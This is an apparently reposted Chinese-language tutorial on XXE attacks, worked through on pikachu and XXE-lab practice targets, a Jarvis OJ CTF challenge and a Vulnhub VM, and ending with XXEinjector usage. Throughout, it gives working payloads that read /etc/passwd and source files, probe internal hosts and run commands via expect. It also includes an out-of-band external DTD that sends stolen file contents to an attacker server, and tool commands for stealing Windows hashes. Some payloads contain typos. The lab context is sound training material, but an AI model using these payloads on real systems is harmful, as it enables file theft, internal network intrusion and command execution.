【XXE&XML】---利用檢測繞過全解---day39


【XXE&XML】---利用檢測繞過全解---day39

一、思維導圖

image-20210503170434370

二、基本概念

1、XML介紹

image-20210503170544548

2、XML與HTML的主要差異

image-20210503170721584

3、XML示例

<!--文檔類型定義-->
<!DOCTYPE note [	<!--定義此文檔時note類型的文檔-->
<!ELEMENT note (to,from,heading,body)>	<!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)>			<!--定義to元素為"#PCDATA"類型-->
<!ELEMENT from (#PCDATA)>		<!--定義from元素為"#PCDATA"類型-->
<!ELEMENT head (#PCDATA)>		<!--定義head元素為"#PCDATA"類型-->
<!ELEMENT body (#PCDATA)>		<!--定義body元素為"#PCDATA"類型-->
]]]>

<!--文檔元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

三、案例演示

1、pikachu靶場XML數據傳輸測試-回顯,玩法,協議,引入

image-20210503171313756

  • 打開靶場

image-20210503171544217

  • 玩法-讀文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

前提是d盤要存在那個文件。

復制到輸入框,提交。

image-20210503172023209

直接就讀取到了。可以看出這就是有回顯的文件利用的一個攻擊。

  • 玩法-內網探針或攻擊內網應用(觸發漏洞地址)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.xxx.xxx:80/index.txt">
]>
<x>&rabbit;</x>

上面的ip地址假設就是內網的一台服務器的ip地址。還可以進行一個端口掃描,看一下端口是否開放。

  • 玩法-RCE

該CASE是在安裝expect擴展的PHP環境里執行系統命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

id是對於的執行的命令。實戰情況比較難碰到。

①引入外部實體DTD

DTD是一個格式文件,下面的思路就是去引用一個xml的格式文件,相當於會把DTD里面的代碼當做XML來執行,所以可以在DTD文件里寫上想要執行的代碼。一般用來繞過WAF或過濾。

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
		%file;
]>
<x>&send;</x>

//下面的是寫入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

條件:看對方的應用有沒有禁用外部實體引用,這也是防御XXE的一種措施。

image-20210503173330196

②無回顯-讀取文件

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
		<!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">
		%dtd;
		%send;
]>


test.dtd:
<!ENTITY % payload
	"<!ENTITY &#x25; send SYSTEM
'http://192.168.xx.xxx:80xx/?data=%file;'>"
>
%payload;

上面的url一般是自己的網站,通過第一步訪問文件,然后再訪問dtd文件,把讀取到的數據賦給data,然后我們只需要再自己的網站日志,或者寫個php腳本保存下來,就能看到讀取到的文件數據了。

③協議-讀文件(繞過)

參考:

https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM
"php://filter/read=convert.base64-encode/resource=xxe.php">
]>

<x>&x;</x>

2、XXE-lab靶場登錄框xml數據傳輸測試-檢測發現

image-20210504113031875

隨便發個包,用bp爬行一下網站結構。搜索xml類型的請求,

image-20210504113120885

說明數據包在傳輸數據的時候,采用的是XML的數據格式,符合xxe漏洞的條件。

①檢測發現:

1、提交的數據包含XML格式如:
<forgot><username>admin</username></forgot>
2、請求頭中如:
Content-Type: text/xml或Content-type:application/xml


<?xml version="1.0"?>
<!DCOTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

提交payload,在xml的那個數據包中。

image-20210504113619892

3、CTF-Jarvis-OJ-Web-XXE安全真題復現-數據請求格式

http://web.jarvisoj.com:9882/
更改請求數據格式:c

<?xml version= = "1.0"? >
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

image-20210504114655282

點擊Go,抓包

image-20210504114723305

數據傳輸形式是采用json數據格式來提交傳輸的。通過修改數據格式來攻擊,形成XXE漏洞。

image-20210504114855374

4、CTF-Vulnhub-XXE安全真題復現-檢測,利用,拓展,實戰

掃描IP及端口->掃描探針目錄->抓包探針XXE安全->利用XXE讀取源碼->flag指向文件->base32 64解密->php運行->flag
www.vulnhub.com 
環境:
https://download.vulnhub.com/xxe/XXE.zip
下載使用


<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

image-20210504115936692

image-20210504121524927

下載后,需要在虛擬機中打開,但是不會告訴你用戶名和密碼,怕讓知道以后,都不用攻擊了。攻擊機我們選擇Ninjutsu os。

對這個ip地址進行掃描:

image-20210504135756810

所以說目標主機就是192.168.79.133,訪問:

image-20210504140138318

可以用掃目錄工具掃:

image-20210504140300515

試着訪問xxe

image-20210504140349328

登錄,抓包

image-20210504141003977

上傳payload,攻擊

image-20210504141518595

然后base64解密就可以了

image-20210504141658242

往下翻發現了用戶名和密碼

image-20210504141806976

密碼是md5解密后的

https://cmd5.com 	解密

image-20210504141913626

得到用戶名和密碼,嘗試登錄,注意此時的url

image-20210504142226044

登錄后:

image-20210504142329253

點擊Flag

image-20210504142343846

打不開,說明XXE漏洞就在這里藏着,那么咱們還是抓包讀取flagmeout.php這個文件。

image-20210504142642857

解密后

image-20210504142655474

得到括號里那一串,那個是base32的加密。

image-20210504142911535

解碼之后又是base64!!.......再解碼

image-20210504142944997

又來一個flag.php,心態崩了,擱這兒套娃呢。繼續讀這個文件,然后base64解密,出來下面這一串鬼,看不懂。但是應該是php代碼。找個在線php運行網址,運行一下看看。

image-20210504143221670

運行之后:

image-20210504143559023

5、XXE安全漏洞自動化注射腳本工具--XXEinjector(Ruby)

工具下載地址:
https://github.com/enjoiz/XXEinjector
https://www.cnblogs.com/bmjoker/p/9614990.html

image-20210504144224093

工具使用:

image-20210504145026127

image-20210504144354332

--host     必填項– 用於建立反向鏈接的IP地址。(--host=192.168.0.2)
--file      必填項- 包含有效HTTP請求的XML文件。(--file=/tmp/req.txt)
--path           必填項-是否需要枚舉目錄 – 枚舉路徑。(--path=/etc)
--brute          必填項-是否需要爆破文件 -爆破文件的路徑。(--brute=/tmp/brute.txt)
--logger        記錄輸出結果。
--rhost          遠程主機IP或域名地址。(--rhost=192.168.0.3)
--rport          遠程主機的TCP端口信息。(--rport=8080)
--phpfilter    在發送消息之前使用PHP過濾器對目標文件進行Base64編碼。
--netdoc     使用netdoc協議。(Java).
--enumports   枚舉用於反向鏈接的未過濾端口。(--enumports=21,22,80,443,445)
--hashes       竊取運行當前應用程序用戶的Windows哈希。
--expect        使用PHP expect擴展執行任意系統命令。(--expect=ls)
--upload       使用Java jar向臨時目錄上傳文件。(--upload=/tmp/upload.txt)
--xslt      XSLT注入測試。
--ssl              使用SSL。
--proxy         使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定義HTTP端口。(--httpport=80)
--ftpport       設置自定義FTP端口。(--ftpport=21)
--gopherport  設置自定義gopher端口。(--gopherport=70)
--jarport       設置自定義文件上傳端口。(--jarport=1337)
--xsltport  設置自定義用於XSLT注入測試的端口。(--xsltport=1337)
--test     該模式可用於測試請求的有效。
--urlencode     URL編碼,默認為URI。
--output       爆破攻擊結果輸出和日志信息。(--output=/tmp/out.txt)
--timeout     設置接收文件/目錄內容的Timeout。(--timeout=20)
--contimeout  設置與服務器斷開連接的,防止DoS出現。(--contimeout=20)
--fast     跳過枚舉詢問,有可能出現結果假陽性。
--verbose     顯示verbose信息。

使用樣例:
枚舉HTTPS應用程序中的/etc目錄:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚舉/etc目錄:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP帶外方法和netdoc協議對文件進行爆破攻擊:

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通過直接性漏洞利用方式進行資源枚舉:

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚舉未過濾的端口:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

竊取Windows哈希:

ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上傳文件:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect執行系統指令:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

測試XSLT注入:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

記錄請求信息:

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

四、防御

image-20210504145656647


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM